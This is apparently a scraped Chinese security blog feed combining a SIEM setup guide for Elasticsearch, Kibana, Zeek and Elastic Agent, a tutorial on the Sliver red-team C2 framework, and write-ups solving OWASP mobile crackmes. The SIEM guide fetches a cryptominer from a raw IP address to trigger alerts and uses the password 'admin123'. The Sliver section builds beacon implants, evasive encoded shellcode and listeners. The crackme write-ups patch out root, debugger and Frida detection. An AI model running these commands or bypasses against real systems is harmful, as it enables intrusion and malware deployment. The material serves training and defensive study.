需要创建一个 YAML 文件 /usr/share/elasticsearch/instances.yml

instances: - name: "elasticsearch"   ip:"192.168.0.4" - name: "kibana"   ip:"192.168.0.4" - name: "zeek"   ip:"192.168.0.4"

运行生成证书

/usr/share/elasticsearch/bin/elasticsearch-certutil cert ca --pem --in instances.yml --out certs.zip

如果报错,说明如下是格式对其上有问题

expected <block end>, but found '<block mapping start>' in 'reader', line 3, column 3:      ip: "192.168.36.133"      ^

正常生成后,在运行解压缩

unzip /usr/share/elasticsearch/certs.zip -d /usr/share/elasticsearch/

配置 Elasticsearch SSL

创建一个文件夹将你的证书存储在我们的 Elasticsearch 主机上。

mkdir /etc/elasticsearch/certs/ca -p

需要将解压缩的证书复制到其相关文件夹中并设置正确的权限。

cp ca/ca.crt /etc/elasticsearch/certs/cacp elasticsearch/elasticsearch.crt /etc/elasticsearch/certscp elasticsearch/elasticsearch.key /etc/elasticsearch/certschown -R elasticsearch: /etc/elasticsearch/certschmod -R 770 /etc/elasticsearch/certs

将 SSL 配置添加到我们的 /etc/elasticsearch/elasticsearch.yml 文件

# Transport layerxpack.security.transport.ssl.enabled: truexpack.security.transport.ssl.verification_mode: certificatexpack.security.transport.ssl.key: /etc/elasticsearch/certs/elasticsearch.keyxpack.security.transport.ssl.certificate: /etc/elasticsearch/certs/elasticsearch.crtxpack.security.transport.ssl.certificate_authorities: [ "/etc/elasticsearch/certs/ca/ca.crt" ]  # HTTP layerxpack.security.http.ssl.enabled: truexpack.security.http.ssl.verification_mode: certificatexpack.security.http.ssl.key: /etc/elasticsearch/certs/elasticsearch.keyxpack.security.http.ssl.certificate: /etc/elasticsearch/certs/elasticsearch.crtxpack.security.http.ssl.certificate_authorities: [ "/etc/elasticsearch/certs/ca/ca.crt" ]

重新启动 Elasticsearch。

service elasticsearch restart

配置 Kibana SSL

配置证书

mkdir /etc/kibana/certs/ca -pcp ca/ca.crt /etc/kibana/certs/cacp kibana/kibana.crt /etc/kibana/certscp kibana/kibana.key /etc/kibana/certschown -R kibana: /etc/kibana/certschmod -R 770 /etc/kibana/certs

文件 /etc/kibana/kibana.yml

elasticsearch.hosts: ["https://192.168.36.133:9200"]elasticsearch.ssl.certificateAuthorities: ["/etc/kibana/certs/ca/ca.crt"]elasticsearch.ssl.certificate: "/etc/kibana/certs/kibana.crt"elasticsearch.ssl.key: "/etc/kibana/certs/kibana.key"​#在 Kibana 和浏览器之间添加配置server.ssl.enabled: trueserver.ssl.certificate: "/etc/kibana/certs/kibana.crt"server.ssl.key: "/etc/kibana/certs/kibana.key"

重新启动

service kibana restart

配置 Beats (Zeek) SSL

首先将证书复制到运行 Zeek 的主机上,然后使用正确的权限创建证书目录。 您需要同时复制 Zeek 证书和 CA 证书。

mkdir /etc/filebeat/certs/ca -pcp ca/ca.crt /etc/filebeat/certs/cacp zeek/zeek.crt /etc/filebeat/certscp zeek/zeek.key /etc/filebeat/certschmod 770 -R /etc/filebeat/certs

修改配置/etc/filebeat/filebeat.yml

output.elasticsearch.hosts: ['192.168.36.133:9200']output.elasticsearch.protocol: httpsoutput.elasticsearch.ssl.certificate: "/etc/filebeat/certs/zeek.crt"output.elasticsearch.ssl.key: "/etc/filebeat/certs/zeek.key"output.elasticsearch.ssl.certificate_authorities: ["/etc/filebeat/certs/ca/ca.crt"]​setup.kibana:  host: "https://192.168.36.133:5601"  ssl.enabled: true  ssl.certificate_authorities: ["/etc/filebeat/certs/ca/ca.crt"]  ssl.certificate: "/etc/filebeat/certs/zeek.crt"  ssl.key: "/etc/filebeat/certs/zeek.key"

重启filebeat

service filebeat restart

运行以下命令来检查 FileBeats 是否可以连接到 Elasticsearch。 一切都应该返回“OK”。

filebeat test output

至此,如果想在Integrations添加集成模块,会提示不能添加,需要管理员设置,说明没有认证。

添加身份验证

编辑 /etc/elasticsearch/elasticsearch.yml 启用安全

xpack.security.enabled: true

重新启动 Elasticsearch:

service elasticsearch restart

Elasticsearch 附带了一个工具来执行此操作。 运行以下命令以生成这些密码并将其保存在安全的地方

/usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive

会设置多个账号密码,可以按照需要来修改,此处使用admin123,相同的设置。

这时候再去访问9200端口发现需要身份认证。同样kibana也不能访问,修改配置/etc/kibana/kibana.yml

elasticsearch.username: "kibana_system"elasticsearch.password: "admin123"

重新启动 Kibana:

service kibana restart

修改Filebeat 配置/etc/filebeat/filebeat.yml

output.elasticsearch.username: "elastic"output.elasticsearch.password: "admin123"

重新启动 Filebeat:

service filebeat restart

安装证书

链接显示不好安全链接,且本地不能验证证书,这里添加证书到本地验证,也就是生成的ca.cer添加到受信任的根证书机构中。

Management > Fleet。第一次访问此页面时,可能需要一分钟才能加载。

添加 Zeek

添加 Zeek 数据到 Elasticsearch,在集成模块中选择Zeek Logs。

使用如下的命令来启动 zeek 模块:

filebeat modules enable zeek

@load policy/tuning/json-logs.zeek 行编辑到文件 /opt/zeek/share/zeek/site/local.zeek中。

保存好文件,并重新启动 zeek:

zeekctl deploy

现在检查日志是否为 JSON 格式。 即使你不熟悉 JSON,日志的格式也应该与以前明显不同。

tail -f /opt/zeek/logs/current/status.log

编辑配置文件 /etc/filebeat/modules.d/zeek.yml。对于 /opt/zeek/logs/ 文件夹中的每个日志文件,必须定义 “current” 日志的路径以及以前的任何日志,如下所示,需要把配置中的全部都修改一下。

dns:  enabled: true  var.paths: [ "/opt/zeek/logs/current/dns.log", "/opt/zeek/logs/*.dns.json" ]

不希望 Elasticsearch 提取这些文件,则只需将 “enabled” 字段设置为 false。 重要的是,将在 /opt/zeek/logs中没有日志文件的所有日志源设置为 enabled: false,否则会收到错误消息。

启动 Filebeat 并启动该服务。

sudo filebeat setupsudo service filebeat restart

点击上面的 Zeek Overview 按钮, 我们将看到 Zeek 的信息

启动检测

security–Detections中点击View document。编辑你的 Kibana 配置件 /etc/kibana/kibana.yml,然后添加 xpack.encryptedSavedObjects.encryptionKey。

xpack.security.enabled: true# xpack.fleet.agents.tlsCheckDisabled: truexpack.encryptedSavedObjects.encryptionKey: "something_at_least_32_characters"

重新启动 Kibana:

service kibana restart

经过上面的设置后,我们终于可以创建检测规则了。在Rules下的Create new rule。

安装 Endpoint agent

跟上面有些区别,但区别不大。先安装es和kibana。

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.16.3-amd64.debsudo dpkg -i elasticsearch-7.16.3-amd64.debwget https://artifacts.elastic.co/downloads/kibana/kibana-7.16.3-amd64.debsudo dpkg -i kibana-7.16.3-amd64.deb

修改es配置/etc/elasticsearch/elasticsearch.yml

network.host: 0.0.0.0discovery.type: single-nodexpack.security.enabled: truexpack.security.authc.api_key.enabled: true

启动es

sudo service elasticsearch start

需要先设置密码

sudo /usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive

修改kibana配置/etc/kibana/kibana.yml

server.host: "192.168.36.135"elasticsearch.username: "kibana_system"elasticsearch.password: "admin123"xpack.security.enabled: truexpack.fleet.agents.tlsCheckDisabled: truexpack.encryptedSavedObjects.encryptionKey: "AE3CA37A74386E07E471EEB842720384"

启动kibana

sudo service kibana start

7.11.1

然后在security选项中选择Fleet,在页面Add Fleet Server integration下配置规则。

点击create new policy创建规则。

选择后点击save,在Agent policies下的规则内点击add agent。

下载agent:https://www.elastic.co/cn/downloads/past-releases/elastic-agent-7-11-1

运行的时候那个命令可能缺个参数–insecure,

sudo ./elastic-agent install --insecure -f --kibana-url=http://192.168.36.135:5601 --enrollment-token=WmJhTm5uNEJBbmthYjZpY0ZyZ2M6NktXX3NHbU5UUTJlZlhZTGc2QlVVdw==

agent端显示healthy表示安装正常。

7.16.3

刚开始启动的时候可能需要一点时间,才能访问页面。输入设定好的账号密码。

image-20220207152716004

先在Integrations下选择endpoint security,点击右上角的ADD endpoint security。

image-20220207153026139

image-20220207153039583

跳转到Fleet页面,这个页面加载估计需要一分钟左右,创建Configure integration,设置集成名。点击下面的创建agent规则,或者使用默认规则。

image-20220207153208610

关闭了收集agent日志

image-20220207153304004

点击右下角的save and continue。

弹窗出来Endpoint Security integration added页面,点击右边的按钮。

image-20220207153430305

点击agent的名字,选择上面的Add integration。搜索fleet server。点击添加。save保存即可。

image-20220207153631185

image-20220207153646839

image-20220207153708078

保存后再点击按钮,又到了这个页面,可以看到多了一个集成工具

image-20220207153838907

右上角fleet setting配置fleet和es地址

http://192.168.36.135:8220http://192.168.36.135:9200

点击保存应用。

image-20220207153950309

下载agent:https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-7.16.3-linux-x86_64.tar.gz

选择对应的agent规则

image-20220207154329008

按照页面上的命令安装,上面选择的是快速安装,系统安装成功后会显示successfully installed。

image-20220207155032007

页面上也会显示Fleet Server connected。

image-20220207155043773

再fleet的页面下也可以看到添加成功的agent主机信息

image-20220207155135103

再security下选择Rules去启用规则,点击Select all 623 rules,再bulk actions中选择第一个启用。

image-20220207155215387

其中有一些是需要机器学习来启用的,这个是付费功能,我们暂时不管,如果有报错,那可能是一次启用太多,多试几次,或者分开启用。

如果需要添加代理,则在同页面下的endpoint下去选择集成添加即可。

image-20220207155417350

在alerts页面下可以看到告警,这个我们安装一个挖矿程序。

curl -O 2.58.149.237:6972/hoze

在alerts页面下就可以看到几条告警

image-20220207164305602

点击分析事件,看到调用关系。点击其中执行的命令可以看到具体的调用参数。

image-20220207164603069

如果一直没看到数据,需要查看添加agent的时候是不是选对规则了,这里设置的一个test policy。在Fleet中查看agent的规则,如果发现不是我们自己设定的规则,那需要修改一下规则。

在agent policies中可以看到规则中存在的主机系统。

image-20220207164713461

以上的告警,也可以在Analytics中查看,Discover,比如筛选其中的进程md5hash。

image-20220207165231075

]]>
<h2 id="安装SIEM"><a href="#安装SIEM" class="headerlink" title="安装SIEM"></a>安装SIEM</h2><p>安全性资讯与事件 (SIEM) 是一种解决方案,可协助组织在威胁伤害企业运行之前,先进行侦测、分析和回应安全
Sliver https://misakikata.github.io/2023/01/Sliver/ 2023-01-12T08:55:14.000Z 2023-01-12T08:55:14.313Z Sliver

Sliver 是一个开源的跨平台红队框架。Sliver 的植入物支持 C2 over Mutual TLS (mTLS)、WireGuard、HTTP(S) 和 DNS,并使用每个二进制非对称加密密钥进行动态编译。

编译安装

可以直接到地址下载编译后的使用:https://github.com/BishopFox/sliver/releases

这里我们从源码编译,先下载源码

git clone https://github.com/BishopFox/sliver.gitcd sliver

运行目录下的文件来下载所需要的资源文件

./go-assets.sh

直接执行make编译命令会生成构建平台的可执行文件

make​make macos    //指定编译平台make macos-arm64make linuxmake windows

生成

目录下会生成两个文件sliver-server、sliver-client。运行server,是一个交互命令行,下面生成一个beacon。除了beacon还可以使用session。

[server] sliver > generate beacon --http 192.168.111.128 --save .​[*] Generating new windows/amd64 beacon implant binary (1m0s)[*] Symbol obfuscation is enabled[*] Build completed in 2m55s[*] Implant saved to /home/user/sliver/ARROGANT_GERBIL.exe​​//如果不使用beacon则生成一个session的二进制文件[server] sliver (SPLENDID_BEHEADING) > generate --mtls 192.168.111.128 --save . --os windows​[*] Generating new windows/amd64 implant binary[*] Symbol obfuscation is enabled[*] Build completed in 2m23s[*] Implant saved to /home/user/sliver/PATIENT_WEEKENDER.exe

不过需要注意的是,sliver只是生成载荷和shellcode,它不能绕过杀软,也不具备免杀功能。

将生成的文件上传到测试机,这里我们先需要一个监听端,可以使用CS或Empire监听,也可以使用自带的命令运行监听,则默认在80端口运行监听。

[server] sliver > http​[*] Starting HTTP :80 listener ...[*] Successfully started job #1

然后运行生成的文件可以获取到

[server] sliver > beacons​ ID         Name                Transport   Username   Operating System   Last Check-In   Next Check-In ========== =================== =========== ========== ================== =============== =============== 7bbd5d50   SPLENDID_BEHEADING   http(s)     user       windows/amd64      41s             41s

选择这个shell,根据上面的id进行Tab补全即可。

[server] sliver > use 7bbd5d50-5f7f-4915-9de4-785fc9e2eb5e​[*] Active beacon SPLENDID_BEHEADING (7bbd5d50-5f7f-4915-9de4-785fc9e2eb5e)​[server] sliver (SPLENDID_BEHEADING) >  ​

当我们执行命令的时候会显示如下,意思是命令执行需要等待检测包的时间,默认是一分钟,也就是最多一分钟就可以收到结果。

[server] sliver (SPLENDID_BEHEADING) > ls​[*] Tasked beacon SPLENDID_BEHEADING (63e4e837)

等待时间后会自动显示,如果认为一分钟太久则需要在生成时设置时间--seconds 5 --jitter 3

[server] sliver (SPLENDID_BEHEADING) >      [+] SPLENDID_BEHEADING completed task 63e4e837C:\Users\user\new (4 items, 19.8 MiB)=====================================-rw-rw-rw-  McpManagementPotato.exe  13.5 KiB  Thu Dec 29 15:38:23 +0800 2022-rw-rw-rw-  PrinterNotifyPotato.exe  10.0 KiB  Thu Dec 29 15:38:17 +0800 2022-rw-rw-rw-  SPLENDID_BEHEADING.exe   17.7 MiB  Thu Dec 29 17:12:42 +0800 2022-rw-rw-rw-  VisualStudioSetup.exe    2.0 MiB   Thu Dec 29 14:21:53 +0800 2022

查看运行过的命令和结果

[server] sliver (SPLENDID_BEHEADING) > tasks    #查看运行的命令 ID         State       Message Type   Created                         Sent                            Completed                     ========== =========== ============== =============================== =============================== =============================== 63e4e837   completed   Ls             Thu, 29 Dec 2022 17:30:49 CST   Thu, 29 Dec 2022 17:31:41 CST   Thu, 29 Dec 2022 17:31:41 CST [server] sliver (SPLENDID_BEHEADING) > tasks fetch 63e4e837   #查看对应命令的结果+------------------------------------------------------+| Beacon Task   | 63e4e837-993f-4849-bed3-4ae4446e3aef |+---------------+--------------------------------------+| State         | ✅ Completed                         || Description   | LsReq                                || Created       | Thu, 29 Dec 2022 17:30:49 CST        || Sent          | Thu, 29 Dec 2022 17:31:41 CST        || Completed     | Thu, 29 Dec 2022 17:31:41 CST        || Request Size  | 18 B                                 || Response Size | 223 B                                |+------------------------------------------------------+C:\Users\user\new (4 items, 19.8 MiB)=====================================-rw-rw-rw-  McpManagementPotato.exe  13.5 KiB  Thu Dec 29 15:38:23 +0800 2022-rw-rw-rw-  PrinterNotifyPotato.exe  10.0 KiB  Thu Dec 29 15:38:17 +0800 2022-rw-rw-rw-  SPLENDID_BEHEADING.exe   17.7 MiB  Thu Dec 29 17:12:42 +0800 2022-rw-rw-rw-  VisualStudioSetup.exe    2.0 MiB   Thu Dec 29 14:21:53 +0800 2022

使用-k来清理进程。Sliver有很多命令跟msf类似,比如execute-assembly、migrate、getsystem等。

配置项

利用配置生成,当需要多次重复的使用同一命令时,可以编辑一个配置文件来使用。

profiles new beacon --arch amd64 --os windows --mtls 192.168.111.128:443 -f shellcode --evasion --timeout 300 --seconds 5 --jitter 3 test

其中一些参数的意义,其他参数可以使用help profiles new beacon查看。

--mtls 代表指定的监听协议,有mtls、http、dns、wg--evasion  启动规避功能--jitter   以秒為單位的信標間隔抖動--seconds  信标间隔时长

使用以下命令来利用此配置文件生成shellcode,中间会询问是否使用编码,可以使用也可以不使用。

[server] sliver (SPLENDID_BEHEADING) > profiles generate --save . test[*] Generating new windows/amd64 beacon implant binary (5s)[*] Symbol obfuscation is enabled[*] Build completed in 2m32s? Encode shellcode with shikata ga nai? Yes[*] Encoding shellcode with shikata ga nai ... success![*] Implant saved to /home/user/sliver/STEEP_FOOT.bin

监听

除了上面提到过的监听命令,监听的端口都是默认的端口。还可以指定端口进行监听

[server] sliver (PATIENT_WEEKENDER) > mtls --lhost 192.168.111.128 --lport 3344[*] Starting mTLS listener ...[*] Successfully started job #4[server] sliver (PATIENT_WEEKENDER) > jobs ID   Name   Protocol   Port ==== ====== ========== ====== 1    http   tcp        80    2    mtls   tcp        8888  3    wg     udp        53    4    mtls   tcp        3344 

只不过生成的时候需要指定端口,比如

generate beacon --http 10.10.69.24:8800 --save .

军械库

在sliver中有一个用来安装扩展的功能,类似CS的script manager。

可以使用armory install all来安装全部包,但是也可以安装对应需要的包,使用前需要先运行armory来更新库的地址。

库地址:https://github.com/sliverarmory/armory/blob/master/armory.json

armory install rubeus

多人联动

sliver也提供了类似CS的服务端和客户端登陆的联动模式,这个功能需要服务的来启动,不然客户端无法连接。

[server] sliver > new-operator --name moloch --lhost 192.168.111.128[*] Generating new client certificate, please wait ... [*] Saved new client config to: /home/user/sliver/moloch_192.168.111.128.cfg [server] sliver > multiplayer [*] Multiplayer mode enabled!

生成的配置文件由客户端拿来使用即可,可以导入到客户端的配置目录中~/.sliver-client/configs/

./sliver-client import moloch_192.168.111.128.cfg

导入后直接运行sliver-client就行。

参考文章

https://notateamserver.xyz/sliver-101/

https://dominicbreuker.com/post/learning_sliver_c2_01_installation/

]]>
<h2 id="Sliver"><a href="#Sliver" class="headerlink" title="Sliver"></a>Sliver</h2><p>Sliver 是一个开源的跨平台红队框架。Sliver 的植入物支持 C2 over Mutual TLS
WeiXin MiniProgram https://misakikata.github.io/2022/12/WeiXin-MiniProgram/ 2022-12-29T02:48:43.000Z 2022-12-29T02:49:02.105Z MiniProgram

之前的小程序由于服务和小程序的原因已经下线了,现在重新用WordPress后端部署了一个新小程序,搭建使用了Serverless服务,不得不说这个玩意响应是真的有点慢,加载内容的时候需要等待少许时间。

小程序图料码:

后续会继续维护,也可以留言给我您的意见和希望看到的文章类型,只要我会,都可以写一写,不嫌弃就好。233333

]]>
<h3 id="MiniProgram"><a href="#MiniProgram" class="headerlink" title="MiniProgram"></a>MiniProgram</h3><p>之前的小程序由于服务和小程序的原因已经下线了,现在重新用WordPr
MAS Crackmes https://misakikata.github.io/2022/12/MAS-Crackmes/ 2022-12-19T08:25:33.000Z 2022-12-19T08:25:33.646Z UnCrackable-Level1

下载地址: https://mas.owasp.org/crackmes/

国际惯例,JEB打开APK,找到main。看到onCreate里有两个提示,应该是检测了ROOT和调试的环境,可以使用frida来修改返回,或者执行修改APK判断,这里直接修改判断,为了少写代码。

直接把验证部分删了:

.method protected onCreate(Bundle)V          .registers 300000000  invoke-static       c->a()Z00000006  move-result         v000000008  if-nez              v0, :24:C0000000C  invoke-static       c->b()Z00000012  move-result         v000000014  if-nez              v0, :24:1800000018  invoke-static       c->c()Z0000001E  move-result         v000000020  if-eqz              v0, :2E:2400000024  const-string        v0, "Root detected!"00000028  invoke-direct       MainActivity->a(String)V, p0, v0:2E0000002E  invoke-virtual      MainActivity->getApplicationContext()Context, p000000034  move-result-object  v000000036  invoke-static       b->a(Context)Z, v00000003C  move-result         v00000003E  if-eqz              v0, :4C:4200000042  const-string        v0, "App is debuggable!"00000046  invoke-direct       MainActivity->a(String)V, p0, v0:4C0000004C  invoke-super        Activity->onCreate(Bundle)V, p0, p100000052  const/high16        p1, 0x7F030000        # layout:activity_main00000056  invoke-virtual      MainActivity->setContentView(I)V, p0, p10000005C  return-void.end method​

修改为

.method protected onCreate(Bundle)V          .registers 30000004C  invoke-super        Activity->onCreate(Bundle)V, p0, p100000052  const/high16        p1, 0x7F030000        # layout:activity_main00000056  invoke-virtual      MainActivity->setContentView(I)V, p0, p10000005C  return-void.end method​

编译,签名安装即可。

整个验证的逻辑在verify内:

public void verify(View arg4) {        String v4_1;        String v4 = ((EditText)this.findViewById(0x7F020001)).getText().toString();  // id:edit_text        AlertDialog v0 = new AlertDialog.Builder(this).create();        if(a.a(v4)) {            v0.setTitle("Success!");            v4_1 = "This is the correct secret.";        }        else {            v0.setTitle("Nope...");            v4_1 = "That\'s not it. Try again.";        }​        v0.setMessage(v4_1);        v0.setButton(-3, "OK", new DialogInterface.OnClickListener() {            @Override  // android.content.DialogInterface$OnClickListener            public void onClick(DialogInterface arg1, int arg2) {                arg1.dismiss();            }        });        v0.show();    }

其中a函数,因此加密密钥和加密内容就已知。

public static boolean a(String arg5) {        byte[] v1 = Base64.decode("5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=", 0);        byte[] v2 = new byte[0];        try {            return arg5.equals(new String(sg.vantagepoint.a.a.a(new byte[]{(byte)0x8D, 18, 0x76, (byte)0x84, -53, -61, 0x7C, 23, 97, 109, (byte)0x80, 108, -11, 4, 0x73, -52}, v1)));        }        catch(Exception v0) {            Log.d("CodeCheck", "AES error:" + v0.getMessage());            return arg5.equals(new String(v2));        }    }

然而这里Cipher.init中的是2,也就是解密,我们需要知道解密后的内容。hook

sg.vantagepoint.a.a.a

随便输入一段内容,获取到输出为

ZenTracer:::{"cmd":"exit","data":["1","73,32,119,97,110,116,32,116,111,32,98,101,108,105,101,118,101"]}

转换为字符串就是:

I want to believe

当然如果你直接分析加密代码,然后代码还原出来那就是:

import java.util.Base64;import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.IllegalBlockSizeException;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.SecretKeySpec;import java.security.InvalidKeyException;import java.security.NoSuchAlgorithmException;​​public class owasp {    public static void main(String[] args) throws Exception {        System.out.println(a());    }​    public static String a() throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {        byte[] arg2 = new byte[]{(byte)0x8D, 18, 0x76, (byte)0x84, -53, -61, 0x7C, 23, 97, 109, (byte)0x80, 108, -11, 4, 0x73, -52};        byte[] arg3 = Base64.getDecoder().decode("5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=");        SecretKeySpec v0 = new SecretKeySpec(arg2, "AES");        Cipher v2 = Cipher.getInstance("AES/ECB/PKCS5Padding");        v2.init(Cipher.DECRYPT_MODE, v0);        return new String(v2.doFinal(arg3));​    }​}

UnCrackable-Level2

看到这个大概就知道这货想干啥了

static {        System.loadLibrary("foo");    }

先按照流程来看一下,跟上面差不多,几个检测,不过这里先加载so的init函数。

然后加密的方法被写到了so的

public class CodeCheck {    public boolean a(String arg1) {        return this.bar(arg1.getBytes());    }    private native boolean bar(byte[] arg1) {    }}

然后去so中找一下这两个函数,其中init中关键函数是sub_93C

.text:00000BA4                 PUSH            {R7,LR}.text:00000BA6                 MOV             R7, SP.text:00000BA8                 BL              sub_93C.text:00000BAC                 LDR             R0, =(byte_400C - 0xBB4).text:00000BAE                 MOVS            R1, #1.text:00000BB0                 ADD             R0, PC  ; byte_400C.text:00000BB2                 STRB            R1, [R0].text:00000BB4                 POP             {R7,PC}

sub_93C的伪代码是,是一个验证app调试行为的检测。

int sub_93C(){  __pid_t v0; // r4  pthread_t newthread; // [sp+4h] [bp-1Ch] BYREF  int stat_loc[6]; // [sp+8h] [bp-18h] BYREF  dword_4008 = fork();  if ( dword_4008 )  {    pthread_create(&newthread, 0, sub_914, 0);  }  else  {    v0 = getppid();    if ( !ptrace(PTRACE_ATTACH, v0, 0, 0) )    {      waitpid(v0, stat_loc, 0);      while ( 1 )      {        ptrace(PTRACE_CONT, v0, 0, 0);        if ( !waitpid(v0, stat_loc, 0) )          break;        if ( (stat_loc[0] & 0x7F) != 127 )          exit(0);      }    }  }  return _stack_chk_guard - stat_loc[1];}

另一个bar函数

bool __fastcall Java_sg_vantagepoint_uncrackable2_CodeCheck_bar(_JNIEnv *a1, _JavaVM *a2, int a3){  const char *v5; // r8  _BOOL4 result; // r0  char s2[24]; // [sp+4h] [bp-2Ch] BYREF  result = 0;  if ( byte_400C == 1 )  {    strcpy(s2, "Thanks for all the fish");    v5 = a1->functions->GetByteArrayElements(a1, a3, 0);    if ( a1->functions->GetArrayLength(a1, a3) == 23 && !strncmp(v5, s2, 0x17u) )      result = 1;  }  return result;}

因为我们需要把result返回1,也就是让后续的判断为真,所以需要查看内部流程。

有两个要求,其中是字节数组长度为23,跟上面的字符比较必须相等,这里有个小问题,byte_400C是init里来加载赋值的,也就是修改代码的时候不能去掉这个函数的渲染。

.method protected onCreate(Landroid/os/Bundle;)V    .locals 4        invoke-direct {p0}, Lsg/vantagepoint/uncrackable2/MainActivity;->init()V        new-instance v0, Lsg/vantagepoint/uncrackable2/CodeCheck;    invoke-direct {v0}, Lsg/vantagepoint/uncrackable2/CodeCheck;-><init>()V    iput-object v0, p0, Lsg/vantagepoint/uncrackable2/MainActivity;->m:Lsg/vantagepoint/uncrackable2/CodeCheck;    invoke-super {p0, p1}, Landroid/support/v7/app/c;->onCreate(Landroid/os/Bundle;)V    const p1, 0x7f09001b    invoke-virtual {p0, p1}, Lsg/vantagepoint/uncrackable2/MainActivity;->setContentView(I)V    return-void.end method

编译安装,输入上面的字符串即可

Thanks for all the fish

UnCrackable-Level3

形似如上,但是多了一个文件的校验verifyLibs,这个返回不正常的时候会给tampered一个非0的值,导致后续的判断中失败。

但是这个app有一个麻烦的地方在于,他的检测跟上面的不一样,首先是Java层,删除MainActivity$2,还有MainActivity中的调用部分即可,但是安装后还是会闪退,这个现象明显不是Java层代码控制的。

从函数中可以看到一个goodbye函数,在sub_23C4中发现有调用,但是没有明显调用存在这个函数的地方,也没有明写在JNI_Onload中,大概在init_array中,于是发现有函数的调用。sub_2468中调用了sub_23C4

.init_array:00005DF0 ; Segment type: Pure data.init_array:00005DF0                 AREA .init_array, DATA.init_array:00005DF0                 ; ORG 0x5DF0.init_array:00005DF0                 DCD sub_2468+1.init_array:00005DF0 ; .init_array   ends.init_array:00005DF0

于是我们需要修改sub_23C4这个函数的判断逻辑。

由于原逻辑是如下判断:

void __noreturn sub_23C4(){  FILE *v0; // r4  char v1[536]; // [sp+0h] [bp-218h] BYREF  while ( 1 )  {    v0 = fopen("/proc/self/maps", "r");    if ( !v0 )      break;    while ( fgets(v1, 512, v0) )    {      if ( strstr(v1, "frida") || strstr(v1, "xposed") )      {        _android_log_print(2, "UnCrackable3", "Tampering detected! Terminating...");LABEL_10:        goodbye();      }    }    fclose(v0);    usleep(0x1F4u);  }  _android_log_print(2, "UnCrackable3", "Error opening /proc/self/maps! Terminating...");  goto LABEL_10;}

这时候可以在日志过滤查看,验证一下想法,可以发现确实是显示了Tampering detected! Terminating...

先修改了,但是这样发现还是会报错,于是直接在最后退出的地方,修改掉exit()。

.text:000023EA loc_23EA                                ; CODE XREF: sub_23C4+48↓j.text:000023EA                                         ; sub_23C4+66↓j.text:000023EA                 MOV             R0, R6  ; s.text:000023EC                 MOV.W           R1, #0x200 ; n.text:000023F0                 MOV             R2, R4  ; stream.text:000023F2                 BLX             fgets.text:000023F6                 CBZ             R0, loc_2410.text:000023F8                 MOV             R0, R6  ; char *.text:000023FA                 MOV             R1, R10 ; char *.text:000023FC                 BLX             strstr.text:00002400                 CBZ             R0, loc_2436 ; Keypatch modified this from:.text:00002400                                         ;   CBNZ R0, loc_2436.text:00002402                 MOV             R0, R6  ; char *.text:00002404                 MOV             R1, R5  ; char *.text:00002406                 BLX             strstr.text:0000240A                 CMP             R0, #0.text:0000240C                 BNE             loc_23EA ; Keypatch modified this from:.text:0000240C                                         ;   BEQ loc_23EA.text:0000240E                 B               loc_2436

把最后的BLX指令给nop掉,修改Hex为00000000

.text:0000238C _Z7goodbyev                             ; CODE XREF: goodbye(void)+8↑j.text:0000238C                                         ; DATA XREF: LOAD:000002A0↑o ....text:0000238C ; __unwind {.text:0000238C                 PUSH            {R7,LR}.text:0000238E                 MOV             R7, SP.text:00002390                 MOVS            R0, #6  ; sig.text:00002392                 BLX             raise.text:00002396                 MOVS            R0, #0  ; status.text:00002398                 BLX             _exit.text:00002398 ; } // starts at 238C

重新打包安装,即可正常打开app。然后再来看后续的逻辑。

主逻辑还是在so中,找到init函数

{  char *v5; // r6  sub_24BC(a1, a2);    //需要调试可以nop掉  v5 = a1->functions->GetByteArrayElements(a1, a3, 0);  strncpy(byte_6034, v5, 0x18u);  a1->functions->ReleaseByteArrayElements(a1, a3, v5, 2);  return ++dword_6030;}

还是获取一个输入字节的作用,然后主要是bar

{  jbyte *v5; // r6  unsigned int i; // r0  int result; // r0  _BYTE v8[28]; // [sp+0h] [bp-38h] BYREF  memset(v8, 0, 0x19u);  if ( dword_6030 != 2 )    goto LABEL_9;  sub_EBC(v8);  v5 = a1->functions->GetByteArrayElements(a1, a3, 0);  if ( a1->functions->GetArrayLength(a1, a3) != 24 )    goto LABEL_9;  for ( i = 0; i <= 0x17; ++i )  {    if ( v5[i] != (v8[i] ^ *(&dword_6030 + i + 4)) )   //dword_6030 = 2      goto LABEL_9;  }  if ( i == 24 )    result = 1;  elseLABEL_9:    result = 0;  return result;}

基本可以知道如果需要得到这个v5就是我们输入的值也就是需要得到的值,那我们需要知道v8这个值,但是sub_EBC不知道在干啥,有两千多行,但是你把参数修改为一个值的时候就会发现,其实只有最后几行进行了操作,开辟了一个24字节的空间。

if ( result )  {    memset(key, 0, 0x19u);    *key = 319883293;   //0x1311081d    key[1] = 357111567;  //0x1549170f    key[2] = 419627021;   //0x1903000d    key[3] = 353574234;  //0x15131d5a    *(key + 8) = 3592;    result = (&loc_1412 + 1);    *(key + 18) = 135725146;    *(key + 11) = 5139;  }

arm默认是小端格式,所以这个key就是1d0811130f1749150d0003195a1d1315080e5a0017081314,然后最奇怪的地方来了,从伪代码上看这里是跟一个常量进行了异或,但是这个明显不正常,异或的结果也不对,后来查了一下发现一开始传入的xorkey被忽略掉了,虽然这里没细看出来调用关系,但是确实是调用了,使用Ghidra就可以看到。

使用脚本进行异或,得到结果making owasp great again

secret = ""other_key = bytes.fromhex("1d0811130f1749150d0003195a1d1315080e5a0017081314")pizza = bytes("pizzapizzapizzapizzapizz",'utf-8')for (a, b) in zip(pizza, other_key):    secret = secret + chr(a ^ b)print(secret)

UnCrackable-Level4

这个有点复杂,别问,问就是不会。/(ㄒoㄒ)/~~

]]>
<h2 id="UnCrackable-Level1"><a href="#UnCrackable-Level1" class="headerlink" title="UnCrackable-Level1"></a>UnCrackable-Level1</h2><p>下载地址:
ART脱壳源码修改点 https://misakikata.github.io/2022/10/ART脱壳源码修改点/ 2022-10-21T06:46:30.000Z 2022-10-21T06:46:30.953Z 在将 dex 文件编译为 oat 文件的过程中 , 只要出现了 DexFile 对象 , 就可以将该对象对应的 dex 文件导出

